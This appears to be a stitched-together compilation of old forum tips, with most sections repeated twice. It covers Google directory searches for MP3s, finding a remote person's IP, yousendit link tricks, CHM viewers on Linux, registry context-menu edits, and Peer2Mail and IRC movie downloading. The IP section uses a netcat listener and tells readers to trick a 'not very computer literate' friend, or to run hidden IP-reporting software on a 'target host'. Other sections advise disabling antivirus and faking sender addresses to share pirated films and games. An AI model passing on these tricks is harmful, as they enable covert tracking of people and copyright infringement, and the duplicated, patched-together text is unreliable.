Another good way of finding MP3s (or other formats) is using Google and typing the following:
parent + directory + mp3 + OR + wma+ #dido#
Replace #dido# by whatever artist you wish to find, for example:
parent + directory + mp3 + OR + wma+ #Lamb#
You should get plenty of dirs with MP3s or WMA files (you could add OGG, etc, to the query). Cheers.
How To Find Ftp's The Easy Way'
How To Find Ftp's The Easy Way'
I use google cuz its the best search engine en everyone can acces .
The easiest search quote is "index of ..."
Some kind of examples are:
index of ftp/ +mp3
index of ftp/ +divx
index of ftp/ +"whateveryouwant"
Google has many operators that should help you to specify your search
USE EM
There are also lots of advanced operators available
here are a few:
cache:
link:
related:
info:
stocks:
site:
allintitle:
intitle:
allinurl:
inurl:
eg:
allintitle: "index of ftp/mp3"
try to combine things and maybe u'll find something
I use google cuz its the best search engine en everyone can acces .
The easiest search quote is "index of ..."
Some kind of examples are:
index of ftp/ +mp3
index of ftp/ +divx
index of ftp/ +"whateveryouwant"
Google has many operators that should help you to specify your search
USE EM
There are also lots of advanced operators available
here are a few:
cache:
link:
related:
info:
stocks:
site:
allintitle:
intitle:
allinurl:
inurl:
eg:
allintitle: "index of ftp/mp3"
try to combine things and maybe u'll find something
How to find a remote IP
How to find a remote IP
Method 1
To view someone's IP# when they send you hotmail email do this:
1) Click "Options" on the upper right side of the page.
2) On the left side of the page, Click "Mail"
3) Click "Mail Display Settings"
4) Under "Message Headers" select "Full" or "Advanced"
5) Click ok
Method 2
reg a dydns account and install the ip pointer, so each time you ping the host name you regestored
for example:
you regestor the host name myhost.dydns.com, then you keep a little software running on the target host. The little software will keep update your IP to dydns.com server.
so at your pc just start cmd, and ping myhost.dydns.com, it will give you the most updated ip address.
Method 3
neverender, what doesn't work for you? Simply type in nc -vvv -l -p 80 on your box, which will set it to listen in verbose mode on port 80. Then give them a link to your IP address (for example: 111.111.111.11) and tell them to type it in their browser. The browser should resolve the address as well as append port 80 automatically. Just make sure that your friend is not very computer literate.
Method 4
Just download a very simple server such as this one and install it on your comp. Then run it and give your ip to the person you want and tell them to connect to it through a browser. Your server will log their connection and you will get their IP.
link:http://www.download.com/Abyss-Web-Server/3000-2165-10283992.html?tag=lst-0-6
Other Ways
-www.imchaos.com and make a "spy poll" to put in ur profile, this will tell u the IP of anybody who answers ur poll
-originalicons.com there is a page for doin it (i dont like it, but it works)
-or irc
Here is a more detailed tutorial about using NetCat.
http://www.onlamp.com/pub/a/onlamp/2003/05/29/netcat.html
Windows users can download NetCat from here:
http://www.atstake.com/research/tools/network_utilities/
Method 1
To view someone's IP# when they send you hotmail email do this:
1) Click "Options" on the upper right side of the page.
2) On the left side of the page, Click "Mail"
3) Click "Mail Display Settings"
4) Under "Message Headers" select "Full" or "Advanced"
5) Click ok
Method 2
reg a dydns account and install the ip pointer, so each time you ping the host name you regestored
for example:
you regestor the host name myhost.dydns.com, then you keep a little software running on the target host. The little software will keep update your IP to dydns.com server.
so at your pc just start cmd, and ping myhost.dydns.com, it will give you the most updated ip address.
Method 3
neverender, what doesn't work for you? Simply type in nc -vvv -l -p 80 on your box, which will set it to listen in verbose mode on port 80. Then give them a link to your IP address (for example: 111.111.111.11) and tell them to type it in their browser. The browser should resolve the address as well as append port 80 automatically. Just make sure that your friend is not very computer literate.
Method 4
Just download a very simple server such as this one and install it on your comp. Then run it and give your ip to the person you want and tell them to connect to it through a browser. Your server will log their connection and you will get their IP.
link:http://www.download.com/Abyss-Web-Server/3000-2165-10283992.html?tag=lst-0-6
Other Ways
-www.imchaos.com and make a "spy poll" to put in ur profile, this will tell u the IP of anybody who answers ur poll
-originalicons.com there is a page for doin it (i dont like it, but it works)
-or irc
Here is a more detailed tutorial about using NetCat.
http://www.onlamp.com/pub/a/onlamp/2003/05/29/netcat.html
Windows users can download NetCat from here:
http://www.atstake.com/research/tools/network_utilities/
How to Extend the life of the yousendit download links
Step 1:
If you havn't already done so, pick the file you want to send
Step 2:
Visit
http://s20.yousendit.com/
Plug in your own email as the recipient's (A good way is to get a Gmail account. If you need one, PM me.) ,
select the file to send (up to 1GB).
Step 3: (The most important)
The normal is 25 downloads per file and then they disable it.
Here's what you do -
copy and paste this:
http://anonym.to/?
in front of the yousendit link it self.. so basicallly it will look like this when you are done
http://anonym.to/?http://s8.yousendit.com/d.aspx?id=7215CE3D0F56A6D328683E2C345DB9
If you havn't already done so, pick the file you want to send
Step 2:
Visit
http://s20.yousendit.com/
Plug in your own email as the recipient's (A good way is to get a Gmail account. If you need one, PM me.) ,
select the file to send (up to 1GB).
Step 3: (The most important)
The normal is 25 downloads per file and then they disable it.
Here's what you do -
copy and paste this:
http://anonym.to/?
in front of the yousendit link it self.. so basicallly it will look like this when you are done
http://anonym.to/?http://s8.yousendit.com/d.aspx?id=7215CE3D0F56A6D328683E2C345DB9
how to execute chm files in linux
how to execute chm files in linux
download the following rpms on ur pc:-
http://dag.wieers.com/packages/chmlib/chmlib-0.35-1.1.fc3.rf.i386.rpm
ftp://rpmfind.net/linux/dag/fedora/3/en/i386/dag/RPMS/wxGTK-2.4.2-5.1.fc3.rf.i386.rpm
http://acmserver.cs.ucr.edu/%7Ensoracco/rpms/xchm-0.9.8-1.i386.rpm
and also install them in the same sequence. using the command:-
rpm -ivh
Note:- i am giving the path of packages for fedora cpre 3. if want for any other os take a look at the following sites.
chmlib:- http://dag.wieers.com/packages/chmlib/
wxGTK:- ftp://rpmfind.net/linux/dag/
xchm: - platform independent for all redhat's.............
download the following rpms on ur pc:-
http://dag.wieers.com/packages/chmlib/chmlib-0.35-1.1.fc3.rf.i386.rpm
ftp://rpmfind.net/linux/dag/fedora/3/en/i386/dag/RPMS/wxGTK-2.4.2-5.1.fc3.rf.i386.rpm
http://acmserver.cs.ucr.edu/%7Ensoracco/rpms/xchm-0.9.8-1.i386.rpm
and also install them in the same sequence. using the command:-
rpm -ivh
Note:- i am giving the path of packages for fedora cpre 3. if want for any other os take a look at the following sites.
chmlib:- http://dag.wieers.com/packages/chmlib/
wxGTK:- ftp://rpmfind.net/linux/dag/
xchm: - platform independent for all redhat's.............
How to edit right click menu
How To Remove and Add Right-Click Menu Items from Files and Folders
Removing Items
A lot of programs you install will add themselves to the right-click menu of your files and/or folders. And most times, you have no choice in the matter and, as a result, your right-click menu can get very long with added items you don't even use. The last person I was helping with this had a right context menu so long that the Rename option was no longer visible!
Fortunately, you can easily remove those unwanted menu items, if you know the registry values to edit. And it's not at all difficult once you know the keys responsible for the additions.
For Files, the secret lies in the "context menu handlers" under the shellex subkey for "All Files" which, in the registry, is nothing but an asterisk - like a dos wildcard, which means the values entered apply to all files. It is at the very top of the Root key, right here:
HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers
Click the the + sign next to the ContextMenuHandlers key, to expand it.
Now you will see some of the programs that have added items to your right-click menu. Simply delete the program keys you don't want.
Yup! It's that simple. If deleting makes you uneasy, just export the key before deleting it. Or, instead of deleting the values, disable them. Simply double click the default value for the program on the right hand pane and rename the clsid value by placing a period or dash in front of it.
ie; - {b5eedee0-c06e-11cf-8c56-444553540000}
Then exit the registry, refresh, and right click a file to see if the item was removed from the menu.
Some programs - like WinZip or WinRar - will add several items to your right click menu but all of them will be removed by deleting or disabling their one context menu handler.
Note that the above key only applies to the right click menu of files.
To remove entries from the right click context menu of folders, you need to navigate to the Folder and Drive keys:
HKEY_CLASSES_ROOT\Folder\shellex\ContextMenuHandlers
HKEY_CLASSES_ROOT\Drive\shellex\ContextMenuHandlers
All you have to do is follow the same procedure as for Files - either disable or delete items you wish to remove.
Adding Items
Adding Items to the right click menu of Files and Folders is also fairly simple using the Registry. It just involves the creation of a few new keys for each item you wish to add. You edit the same keys used for removing items. Let's use Notepad as an example of an item you'd like to add to the right click menu of all your files or folders.
For folders, go to this key:
HKEY_CLASSES_ROOT\Folder
Click the + sign next to Folder and expand it so that the Shell key is visible. Right click the Shell key and choose New>Key and name the key Notepad or whatever else you'd prefer (whatever the key is named is what will appear in the right-click menu). Now right click the new key you made and create another key named Command. Then, in the right hand pane, double click "Default" and enter Notepad.exe as the value.
Exit the registry, refresh, and right click any folder. Notepad should now be on the context menu.
For files, go here again:
HKEY_CLASSES_ROOT\*
Expand the * key and see if a Shell key exists. If it does exist, follow the same procedure as for folders. If it does not exist, you'll have to create a new Shell first. Just right click the * key and choose New>Key and name it Shell. Then right click the Shell key and continue on the same way you did for adding items to the right click menu of folders.
Once done, Notepad should appear as an option in the right click menu of all your files.
Removing Items
A lot of programs you install will add themselves to the right-click menu of your files and/or folders. And most times, you have no choice in the matter and, as a result, your right-click menu can get very long with added items you don't even use. The last person I was helping with this had a right context menu so long that the Rename option was no longer visible!
Fortunately, you can easily remove those unwanted menu items, if you know the registry values to edit. And it's not at all difficult once you know the keys responsible for the additions.
For Files, the secret lies in the "context menu handlers" under the shellex subkey for "All Files" which, in the registry, is nothing but an asterisk - like a dos wildcard, which means the values entered apply to all files. It is at the very top of the Root key, right here:
HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers
Click the the + sign next to the ContextMenuHandlers key, to expand it.
Now you will see some of the programs that have added items to your right-click menu. Simply delete the program keys you don't want.
Yup! It's that simple. If deleting makes you uneasy, just export the key before deleting it. Or, instead of deleting the values, disable them. Simply double click the default value for the program on the right hand pane and rename the clsid value by placing a period or dash in front of it.
ie; - {b5eedee0-c06e-11cf-8c56-444553540000}
Then exit the registry, refresh, and right click a file to see if the item was removed from the menu.
Some programs - like WinZip or WinRar - will add several items to your right click menu but all of them will be removed by deleting or disabling their one context menu handler.
Note that the above key only applies to the right click menu of files.
To remove entries from the right click context menu of folders, you need to navigate to the Folder and Drive keys:
HKEY_CLASSES_ROOT\Folder\shellex\ContextMenuHandlers
HKEY_CLASSES_ROOT\Drive\shellex\ContextMenuHandlers
All you have to do is follow the same procedure as for Files - either disable or delete items you wish to remove.
Adding Items
Adding Items to the right click menu of Files and Folders is also fairly simple using the Registry. It just involves the creation of a few new keys for each item you wish to add. You edit the same keys used for removing items. Let's use Notepad as an example of an item you'd like to add to the right click menu of all your files or folders.
For folders, go to this key:
HKEY_CLASSES_ROOT\Folder
Click the + sign next to Folder and expand it so that the Shell key is visible. Right click the Shell key and choose New>Key and name the key Notepad or whatever else you'd prefer (whatever the key is named is what will appear in the right-click menu). Now right click the new key you made and create another key named Command. Then, in the right hand pane, double click "Default" and enter Notepad.exe as the value.
Exit the registry, refresh, and right click any folder. Notepad should now be on the context menu.
For files, go here again:
HKEY_CLASSES_ROOT\*
Expand the * key and see if a Shell key exists. If it does exist, follow the same procedure as for folders. If it does not exist, you'll have to create a new Shell first. Just right click the * key and choose New>Key and name it Shell. Then right click the Shell key and continue on the same way you did for adding items to the right click menu of folders.
Once done, Notepad should appear as an option in the right click menu of all your files.
How to Download-Upload Files from email
How to Download-Upload Files from email
This post will teach u how to send big files to email
This technic is really a newly powerfull way of downloading movies games... Nothing to worry about the fu***** deleters and all the jerks!
Enought bullshit lets get down to buisness:
First of all u need to have a big mail box. here are the one which we can cover. click on the icon to go to the website
• Gmail (Google mail)
• Storage space - 1GB
• Maximum attachment size - 10MB
Image
www.gmail.com
• Walla! mail (the best)
• Storage space - 1GB
• Maximum attachment size - 7MB
Image
www.walla.com
• Spymac Mail
• Storage space - 1GB
• Maximum attachment size - 10MB
Image
www.spymac.com
• Unitedemailsystems
• Storage space - 3GB
• Maximum attachment size - 10MB
Image
www.unitedemailsystems.com
• Xasamail
• Storage space - 2GB
• Maximum attachment size - 10MB
Image
www.xasamail.com
• Omnilect Mail
• Storage space - 2GB
• Maximum attachment size - 7MB
Image
www.omnilect.com
------------------------------------------------------------
Image
Then download the software called peer to mail:
http://dw.com.com/redir?pid=10351095&merid=72949&mfgid=72949&lop=link&edId=3&siteId=4&oId=3002-2196_4-10351095&ontId=2196&destUrl=http%3A%2F%2Fwww.peer2mail.com%2FP2MSetup.exe
official website:
http://www.peer2mail.com
--------------------------------------------------------------
Next step : configurate the soft
go in settings > SMTP server setting
and give an smtp adress that u know
Ex: smtp.laposte.net
user : HULK
pass: ******
Once configurated u don't need to touch it for the rest pf ur upload
Image
This is a critical step, if u are experimenting any pb of connexion this is were u need to have a look:
This is possible that temporaly ur internet provider dont allow u to use other smtp adress than his. So use it
ie:
smtp.free.fr
smtp.wanadoo.fr
(these are french one I don't know of which one u are using)
...
If u are experimenting any pb it is better to desactivate ur antivirus (the scanning mail option)
Image
----------------------------------------------------------
Image
1 - Click on Splint/Send File.
2 - Click on the icon (choose a file to send.....).
3 - select the archive that u want to upload it.
4 - type the address of ur account (email).
5 - It determines the size of the parts that the archive will be divided ( take a look at the max size used by ur mail) i advise u to put a size of 6MB.
6 - It determines the type of sending. "send via smtp server"
After all that, press OK.
===========
press the selected button in the figure:
Image
===========
After all the parts have been sent,go to ur account (email) and confirms, then u have to bring the Encrypted password follows the example below:
Image
===========
Always give the following information to the users:
follows the example below:
Email: GMail
Login: zezão
Password: |/kjds42d4sd24 \|
remmember:
- only Encrypted Password, never sends ur true password
--------------------------------------------------
Be careful : never post ur coordinates without having previously verifyed the content in the mailbox
sometimes peer2mail tells u that evrything is sent but It can happens that nothing is sent
---------------------------------------------------------------------------------------------------------
U want to download games and movies with a good speed ( thats what we all here for!)
So here is an easy way to download large files from mailbox
----------------------------------------------------
first download peer to mail
Image
official website:
http://www.peer2mail.com
----------------------------------------------------
Open it and go to the browse tab
---------------------------------------------------
then take the coordinates of the film/game u want to download
in this tutorial i'll use the film mulan :
mail: walla.com
login: dragon_mushu
pass: <(/++EiJPy)>
--------------------------------------------------
U noticed that the mail used is walla.com
so go to www.walla.com with the adress bar or with the prerecorded website (see picture)
Image
login with:
"dragon_mushu" & "<(/++EiJPy)>"
Image
----------------------------------------------------
go into the inbox then click on this icon:
Image
this wil do this:
Image
after uve retrieve all the segment click on "download"
------------------------------------------------------
If everithing is fine the movie will be merge automatically
and u won't need to care about the segments
------------------------------------------------------
If u look for a place to share/download movies/games using peer2mail just go to the peer2mail website www.peer2mail.com. Then go to the forum and click on "peer2mail related websites".
here is the direct link (may not work)
http://www.peer2mail.com/forums/viewforum.php?f=13
----------------------------------------------------------------------
Here u are now u should be an expert on peer2mail!!!
-----------------------------------------------------------------------------------------------------------------
Peer2Mail is the first software that let you store and share files on any web-mail account. If you have a web mail account with large storage space, you can use P2M to store files on it. Web-mail providers such as Gmail (Google Mail), Walla!, Yahoo and more, provide storage space that ranges from 100MB to 3GB.
P2M splits the file you want to share/store zips and encrypts it. P2M then sends the file segments one by one to your account. Once P2M uploaded all file segments, you can download them and use P2M to merge the segments back to the original file.
Sending a File
In order to send a file to an email account, Peer2Mail needs to split it into segments. Web-mail providers limit the size of an email attachment usually to a nominal 10Megs, but due to the size increase resulting from transport encodings, the limit works out to be a few MB less (Usually 7MB). Use the following dialog to prepare the file before sending:
* File Name - The file/s you want to send. You can use the Browse button to select a single or multiple files.
* Mail To - The recipients who will receive the file (Web-mail account). When using Direct Send you may enter only one email address. If you are sending Via MAPI then you can enter as many recipients as you like; Use the Recipients button to easily add email address separated by semi colon (icon_wink.gif.
* Optional Encryption Password - P2M automatically encrypts each segment to protect you privacy, however you can set a password (key) for the encryption to maximize the privacy. You will need this password when you merge the segments back.
* Segment Size - P2M splits the file into segments. Here you can determine the segment size, most of the web-mail providers limit the attachment size to a nominal 10Megs, but due to the size increase resulting from transport encodings, the limit works out to be a few MB less (Usually 7MB). It is recommended to test your web-mail provider for the size of an attachment it can receive.
Send Method -
o Direct Send - P2M has a built in SMTP component that sends the segments directly to the web-mail providers. You don't need to enter your ISP details in order to use P2M. If you are using this feature please make sure you enter a value in the 'From Email Address' because some web-mail providers reject email messages where there is no 'From' address. You can even enter a fake mail address.
o Send Via MAPI - P2M can send the segments using MAPI (Usually your outlook client). When you use this option P2M will split the files and move the sending responsibility to Outlook. Note that it will use your ISP SMTP server and details to send the files. You may enter as many recipients as you wish when using this option.
o Send Via SMTP Server - Send the segments using your ISP SMTP Server. If you are using this feature please make sure you enter a value in the 'From Email Address' because some web-mail providers reject email messages where there is no 'From' address. You can even enter a fake mail address. You may enter as many recipients as you wish when using this option.
* From Email Address - This is the source address of the mail. This address doesn't have to be valid, although sometimes web-mail providers reject emails where the domain part of the address isn't valid.
Image
Once you are done, click on the Ok button. You can now choose if you want P2M to send all the segments or only specific few by checking/un-checking the checkboxes. Once you are ready, click on the Send button. It may take a few hours to complete the operation depending on the file size and your internet connection.
Note: If you are using an antivirus program that scans outgoing mail, it is recommended to disable this feature since it takes a long time for each segment to be scanned.
Plain Transfer
In case you don't want Peer2Mail to split, zip and encrypt your files, and just want to send the files "as is�" then you can use Plain Transfer. This option isn't secure. P2M just sends the file as an email attachment and some web mail providers might even block it.
Choose Plain Transfer from the drop down button: Image.
Once you are done filling the details as described above, click on the Ok button. Once you are ready, click on the Send button.
Note: If you are using an antivirus program that scans outgoing mail, it is recommended to disable this feature since it takes a long time for each segment to be scanned.
Downloading the Segments
P2M includes a built in browser so you can easily log into your web-mail account. Before you can merge the segments you need to download them. It is important that you will save all the segments into the same folder. The first segment name ends with the P2M extension and the rest follow with a serial number 001...00x.
Auto Download
Peer2Mail can automatically list and download files from web-mail accounts. Currently P2M supports auto-download from Gmail, Walla, Yahoo, Spymac, Unitedemailsystems, Xasamail, Gawab, Hriders and Omnilect. To use this feature, login to your account and click on the green download button (Image). P2M will then list the segments (may take a few minutes) and at any time you can tell P2M what segment to download by clicking on the checkboxes that appear next to them. Click on the Download button to begin downloading the selected segments.
If you checked the Auto Merge checkbox then Peer2Mail will automatically merge the segments once the download process is done
Image
The listing process can be a bit slow since P2M scans the mail account and gathers information about each attachment. Sometimes a server doesn't reply to a request so P2M might skip it. To fix that, once the listing process is over, click on the refresh button and P2M will re-index only the segments it didn't already list.
P2M scans for segments only in the inbox for Yahoo, Walla, Spymac, Unitedemailsystems, Xasamailand, Gawab, Hriders, Omnilect, and on all folders with Gmail.
Merging the Segments
Once you completed downloading all the segments, use P2M to merge it back to the original file. Choose the folder you want the file to be saved in and click on the Merge button. The Merge dialog:
# P2M File/s - use the Browse button to select the first segment of the file you wish to merge. The first segment extension is P2M.
# Decryption Password - If you used a password when you sent the file to your account, you must enter it now in order to merge it back. Incorrect password will result in a failure to merge the segments.
This post will teach u how to send big files to email
This technic is really a newly powerfull way of downloading movies games... Nothing to worry about the fu***** deleters and all the jerks!
Enought bullshit lets get down to buisness:
First of all u need to have a big mail box. here are the one which we can cover. click on the icon to go to the website
• Gmail (Google mail)
• Storage space - 1GB
• Maximum attachment size - 10MB
Image
www.gmail.com
• Walla! mail (the best)
• Storage space - 1GB
• Maximum attachment size - 7MB
Image
www.walla.com
• Spymac Mail
• Storage space - 1GB
• Maximum attachment size - 10MB
Image
www.spymac.com
• Unitedemailsystems
• Storage space - 3GB
• Maximum attachment size - 10MB
Image
www.unitedemailsystems.com
• Xasamail
• Storage space - 2GB
• Maximum attachment size - 10MB
Image
www.xasamail.com
• Omnilect Mail
• Storage space - 2GB
• Maximum attachment size - 7MB
Image
www.omnilect.com
------------------------------------------------------------
Image
Then download the software called peer to mail:
http://dw.com.com/redir?pid=10351095&merid=72949&mfgid=72949&lop=link&edId=3&siteId=4&oId=3002-2196_4-10351095&ontId=2196&destUrl=http%3A%2F%2Fwww.peer2mail.com%2FP2MSetup.exe
official website:
http://www.peer2mail.com
--------------------------------------------------------------
Next step : configurate the soft
go in settings > SMTP server setting
and give an smtp adress that u know
Ex: smtp.laposte.net
user : HULK
pass: ******
Once configurated u don't need to touch it for the rest pf ur upload
Image
This is a critical step, if u are experimenting any pb of connexion this is were u need to have a look:
This is possible that temporaly ur internet provider dont allow u to use other smtp adress than his. So use it
ie:
smtp.free.fr
smtp.wanadoo.fr
(these are french one I don't know of which one u are using)
...
If u are experimenting any pb it is better to desactivate ur antivirus (the scanning mail option)
Image
----------------------------------------------------------
Image
1 - Click on Splint/Send File.
2 - Click on the icon (choose a file to send.....).
3 - select the archive that u want to upload it.
4 - type the address of ur account (email).
5 - It determines the size of the parts that the archive will be divided ( take a look at the max size used by ur mail) i advise u to put a size of 6MB.
6 - It determines the type of sending. "send via smtp server"
After all that, press OK.
===========
press the selected button in the figure:
Image
===========
After all the parts have been sent,go to ur account (email) and confirms, then u have to bring the Encrypted password follows the example below:
Image
===========
Always give the following information to the users:
follows the example below:
Email: GMail
Login: zezão
Password: |/kjds42d4sd24 \|
remmember:
- only Encrypted Password, never sends ur true password
--------------------------------------------------
Be careful : never post ur coordinates without having previously verifyed the content in the mailbox
sometimes peer2mail tells u that evrything is sent but It can happens that nothing is sent
---------------------------------------------------------------------------------------------------------
U want to download games and movies with a good speed ( thats what we all here for!)
So here is an easy way to download large files from mailbox
----------------------------------------------------
first download peer to mail
Image
official website:
http://www.peer2mail.com
----------------------------------------------------
Open it and go to the browse tab
---------------------------------------------------
then take the coordinates of the film/game u want to download
in this tutorial i'll use the film mulan :
mail: walla.com
login: dragon_mushu
pass: <(/++EiJPy)>
--------------------------------------------------
U noticed that the mail used is walla.com
so go to www.walla.com with the adress bar or with the prerecorded website (see picture)
Image
login with:
"dragon_mushu" & "<(/++EiJPy)>"
Image
----------------------------------------------------
go into the inbox then click on this icon:
Image
this wil do this:
Image
after uve retrieve all the segment click on "download"
------------------------------------------------------
If everithing is fine the movie will be merge automatically
and u won't need to care about the segments
------------------------------------------------------
If u look for a place to share/download movies/games using peer2mail just go to the peer2mail website www.peer2mail.com. Then go to the forum and click on "peer2mail related websites".
here is the direct link (may not work)
http://www.peer2mail.com/forums/viewforum.php?f=13
----------------------------------------------------------------------
Here u are now u should be an expert on peer2mail!!!
-----------------------------------------------------------------------------------------------------------------
Peer2Mail is the first software that let you store and share files on any web-mail account. If you have a web mail account with large storage space, you can use P2M to store files on it. Web-mail providers such as Gmail (Google Mail), Walla!, Yahoo and more, provide storage space that ranges from 100MB to 3GB.
P2M splits the file you want to share/store zips and encrypts it. P2M then sends the file segments one by one to your account. Once P2M uploaded all file segments, you can download them and use P2M to merge the segments back to the original file.
Sending a File
In order to send a file to an email account, Peer2Mail needs to split it into segments. Web-mail providers limit the size of an email attachment usually to a nominal 10Megs, but due to the size increase resulting from transport encodings, the limit works out to be a few MB less (Usually 7MB). Use the following dialog to prepare the file before sending:
* File Name - The file/s you want to send. You can use the Browse button to select a single or multiple files.
* Mail To - The recipients who will receive the file (Web-mail account). When using Direct Send you may enter only one email address. If you are sending Via MAPI then you can enter as many recipients as you like; Use the Recipients button to easily add email address separated by semi colon (icon_wink.gif.
* Optional Encryption Password - P2M automatically encrypts each segment to protect you privacy, however you can set a password (key) for the encryption to maximize the privacy. You will need this password when you merge the segments back.
* Segment Size - P2M splits the file into segments. Here you can determine the segment size, most of the web-mail providers limit the attachment size to a nominal 10Megs, but due to the size increase resulting from transport encodings, the limit works out to be a few MB less (Usually 7MB). It is recommended to test your web-mail provider for the size of an attachment it can receive.
Send Method -
o Direct Send - P2M has a built in SMTP component that sends the segments directly to the web-mail providers. You don't need to enter your ISP details in order to use P2M. If you are using this feature please make sure you enter a value in the 'From Email Address' because some web-mail providers reject email messages where there is no 'From' address. You can even enter a fake mail address.
o Send Via MAPI - P2M can send the segments using MAPI (Usually your outlook client). When you use this option P2M will split the files and move the sending responsibility to Outlook. Note that it will use your ISP SMTP server and details to send the files. You may enter as many recipients as you wish when using this option.
o Send Via SMTP Server - Send the segments using your ISP SMTP Server. If you are using this feature please make sure you enter a value in the 'From Email Address' because some web-mail providers reject email messages where there is no 'From' address. You can even enter a fake mail address. You may enter as many recipients as you wish when using this option.
* From Email Address - This is the source address of the mail. This address doesn't have to be valid, although sometimes web-mail providers reject emails where the domain part of the address isn't valid.
Image
Once you are done, click on the Ok button. You can now choose if you want P2M to send all the segments or only specific few by checking/un-checking the checkboxes. Once you are ready, click on the Send button. It may take a few hours to complete the operation depending on the file size and your internet connection.
Note: If you are using an antivirus program that scans outgoing mail, it is recommended to disable this feature since it takes a long time for each segment to be scanned.
Plain Transfer
In case you don't want Peer2Mail to split, zip and encrypt your files, and just want to send the files "as is�" then you can use Plain Transfer. This option isn't secure. P2M just sends the file as an email attachment and some web mail providers might even block it.
Choose Plain Transfer from the drop down button: Image.
Once you are done filling the details as described above, click on the Ok button. Once you are ready, click on the Send button.
Note: If you are using an antivirus program that scans outgoing mail, it is recommended to disable this feature since it takes a long time for each segment to be scanned.
Downloading the Segments
P2M includes a built in browser so you can easily log into your web-mail account. Before you can merge the segments you need to download them. It is important that you will save all the segments into the same folder. The first segment name ends with the P2M extension and the rest follow with a serial number 001...00x.
Auto Download
Peer2Mail can automatically list and download files from web-mail accounts. Currently P2M supports auto-download from Gmail, Walla, Yahoo, Spymac, Unitedemailsystems, Xasamail, Gawab, Hriders and Omnilect. To use this feature, login to your account and click on the green download button (Image). P2M will then list the segments (may take a few minutes) and at any time you can tell P2M what segment to download by clicking on the checkboxes that appear next to them. Click on the Download button to begin downloading the selected segments.
If you checked the Auto Merge checkbox then Peer2Mail will automatically merge the segments once the download process is done
Image
The listing process can be a bit slow since P2M scans the mail account and gathers information about each attachment. Sometimes a server doesn't reply to a request so P2M might skip it. To fix that, once the listing process is over, click on the refresh button and P2M will re-index only the segments it didn't already list.
P2M scans for segments only in the inbox for Yahoo, Walla, Spymac, Unitedemailsystems, Xasamailand, Gawab, Hriders, Omnilect, and on all folders with Gmail.
Merging the Segments
Once you completed downloading all the segments, use P2M to merge it back to the original file. Choose the folder you want the file to be saved in and click on the Merge button. The Merge dialog:
# P2M File/s - use the Browse button to select the first segment of the file you wish to merge. The first segment extension is P2M.
# Decryption Password - If you used a password when you sent the file to your account, you must enter it now in order to merge it back. Incorrect password will result in a failure to merge the segments.
How To Download Movies, From IRC
First off welcome to the wonderful world of TMD!
--------------------- SETTING UP mIRC ---------------------
First of all you need to download mIRC from /http://www.mirc.com, this program will let you connect to the server and channel to download movies. Once installed run mIRC, and you will be presented with the mIRC options. The first thing you will see is the "Connect" options. Set the options as follows:
IRC Network: Select "Criten" from the dropdown list.
Full Name: Enter what you feel comfortable with.
Email Address: Enter your email address.
Nickname: Enter the nickname you want.
Alternative: If the nickname you picked isn't available this is the one it will use.
*If Criten isn't listed in the IRC Networks, hit the "Add" button.
Description: Criten
IRC Server: irc.Criten.net
Port(s): 6667
Group: Criten
Password: Leave Blank
Hit the "Add" Button to finish
Next we will move down to "DCC". Select "Auto-get file" (this will automaticly accept the files that are sent to you), click "YES" in the window that opens. Right next to the "Auto-get file" click on the "Minimize" option. Below that select select "Resume" from the drop-down list under "If file exists:". This option sets mIRC to automaticly resume any failed sends you may get instead of overwriting them.
Continuing in the "DCC" section, go down to "Folders". In the "DCC Ignore:" box select from the drop-down list "Disabled", then untick the "Turn ignore back on in:" box.
mIRC is now setup correctly to download movies from TMD! Hit "OK" on the bottom of the Options window and move on to the next part.
--------------- CONNECTING TO #TMD-MOVIEZ ---------------
In the upper left hand corner of mIRC you will see the "Connect" button in the tool bar, click it to connet to irc.Criten.net. Once it has connected (be patient it can take a while to finally connect on some days), a window will pop-up, this is the mIRC Channels list. On the right side of the window click the "Add" button. Another window will pop up, set it as follows:
Channel: Type in "#TMD-Moviez" (without the quotes)
Password: Leave blank.
Description: Just type in "TMD Moviez" or something of the sort.
Networks: Click the "Add" button and from the drop-down list select "Criten", then click "OK".
If you wish mIRC to automaticly connect to this channel once connected to the server, check the "Join channel on connect" box in the options. You may also wish to add the channel "#TMD" (Our chat channel) by repeating these steps.
Now click "OK" and it will show the mIRC Channels List again with the channel you just added. While the new channel is still selected click "Join" on the right side.
You can also type in /join #TMD-Moviez
A new window will appear with a bunch of text scrolling by, if you see this, than you did everything correctly! You are now in #TMD-Moviez! Move on to the next section for the fun part.
----------------- FINDING AND DOWNLOADING FILES -----------------
The things you see scrolling are ads and searches mainly. It is the ads that you may want to watch for. They consist of info about the server like this:
*********** Only an example server... Not a real one! ********
[2:29am] File Server Online Triggers:½/ctcp TMD-Maveric !Maveric's Moviez!╗ Min:½6.4 Kbs╗ Sends:½2/2╗ Queues:½10/10╗ Accessed:½3295 times╗ Online:½0/4╗ RCPS:½42.8 Kbs by kuki╗ Served:½95.6G in 785 files╗ Current BW:½41 Kbs╗ AQT:½1hr 15mins╗ Serving:½279 files╗ MOTD: -= :: (»`À.©©.->All the newest from distro!!<-.©©.À┤») :: =- ùI-n-v-i-s-i-o-nù
Really the only thing you need to know to get started is how to connect to the file server and get a file.
The trigger is what you type into the channel to connect to the server. The trigger above would be "/ctcp TMD-Maveric !Maveric's Moviez!" (without the quotes) as noted by the "Triggers:½ ╗" You always type what is inbetween the ½╗. You will know you are connected when a window pops up with:
Serving YourNickname
Waiting for acknowledgement...
DCC Chat connection established
Then you will see alot of text fly by which you can read if you want, but it is not needed. You will be left with something like this "[\]", that is the root directory of the server. To view the files in that directory you type "dir". At that point the directory contents will be show like this:
[2:40am] dir
[2:40am] [\*.*]
[2:40am] DVD RIPS
[2:40am] MOVIEZ
[2:41am] [tmd]csi.miami.s1.ep01.golden.parachute.(ftv).tvrip.(1of1).avi 121 mb
[2:41am] [tmd]csi.miami.s1.ep02.golden.losing.face.(ftv).tvrip.(1of1).avi 115 mb
[2:40am] End of list.
The ones in all caps are directories, and the others are files signified by the the name and size of the file. If you want to go to a directory you need to type "cd". Then you need to type "dir" again to see the contents. You should see something like this:
[2:44am]cd moviez
[2:44am] [\moviez]
[2:44am] dir
[2:44am] [\moviez\*.*]
[2:44am] ..
[2:44am] A RUMOR OF ANGELS
[2:44am] ALI G INDAHOUSE
[2:44am] AVENGING ANGELO
[2:44am] BALLISTIC - ECKS VS SEVER
[2:44am] BARBERSHOP
[2:44am] BARBERSHOP (UNCUT)
[2:45am] [tmd]nailed.(evil).scr.(1of2).avi 169 mb
